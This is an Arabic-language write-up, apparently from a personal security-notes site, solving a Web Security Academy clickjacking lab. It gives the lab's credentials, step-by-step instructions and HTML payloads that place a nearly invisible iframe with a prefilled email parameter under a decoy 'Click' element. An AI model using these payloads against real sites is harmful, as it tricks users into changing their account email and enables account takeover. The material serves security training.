> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/clickjacking/clickjacking-with-prefilled-form-inputs.md).

# انتحال النقر مع حقول نموذج مملوءة مسبقًا عبر معلمة URL

### هجوم Clickjacking مع بيانات إدخال نموذج مُعبّأة مسبقًا من معلمة في عنوان URL

غيّر عنوان البريد الإلكتروني للمستخدم بالاستفادة من نموذج في صفحة الحساب يقبل `البريد الإلكتروني` معلمة في عنوان URL. يتكوّن الهجوم من عرض الصفحة المستهدفة داخل `إطار iframe` (شبه غير مرئي) وتشجيع الضحية على النقر على عنصر مزيف «Click me». يتم حل المختبر عندما يتم تغيير بريد الحساب الإلكتروني.

#### بيانات الاعتماد المقدمة

* المستخدم: `wiener`
* كلمة المرور: `peter`
* تستخدم صفحة إدارة الحساب رمز CSRF، ولكن تتم معالجة هذا الرمز في الصفحة نفسها — ولا يمنع التحديث إذا تم إرسال النموذج من داخل `إطار iframe` الذي تم تحميله من النطاق المستهدف.

<figure><img src="/files/94b6b8986e9601f93fe0643a39d86728d602ab0e" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/e4998434e3bfdceafc584dfa3b596d78f171530c" alt=""><figcaption></figcaption></figure>

* يمكن تعبئة حقل البريد الإلكتروني مسبقًا بتمرير `?email=<قيمة>` في عنوان URL الخاص بـ `/my-account` الصفحة. مثال: `?email=jordan@test.com`.

<figure><img src="/files/8327e4f1c90d113cc790b86d2a158dfb633e162b" alt=""><figcaption></figcaption></figure>

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/19f482bc8430ee660ff5a517d4d0a5c2bba63d8a" alt=""><figcaption></figcaption></figure>

1. حمّل صفحة الحساب الضعيفة داخل `إطار iframe` بإضافة `البريد الإلكتروني` معلمة باستخدام العنوان الذي تريد فرضه.
2. اجعل `إطار iframe` شبه غير مرئي (شفافية منخفضة أو تموضع) بحيث يغطي عنصر تشغيل ظاهرًا على صفحة الهجوم.
3. ضع زرًا/تسمية مزيفة بعنوان "Click" سينقر عليها الضحية، وتطابق مكانيًا زر "Update Email" الحقيقي في `إطار iframe`.
4. عندما ينقر الضحية، تنتقل النقرة فعليًا إلى زر النموذج في `إطار iframe` ويتم إرسال النموذج مع البريد الإلكتروني المُعبّأ مسبقًا.

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>Click</div>
<iframe src="https://0aea005903313cc281be1bec00ad002d.web-security-academy.net/my-account?email=hacked@jordan.com" </iframe>
```

<figure><img src="/files/50503ce8922c009b6c6206a9f8fd3415688d649f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/clickjacking/clickjacking-with-prefilled-form-inputs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.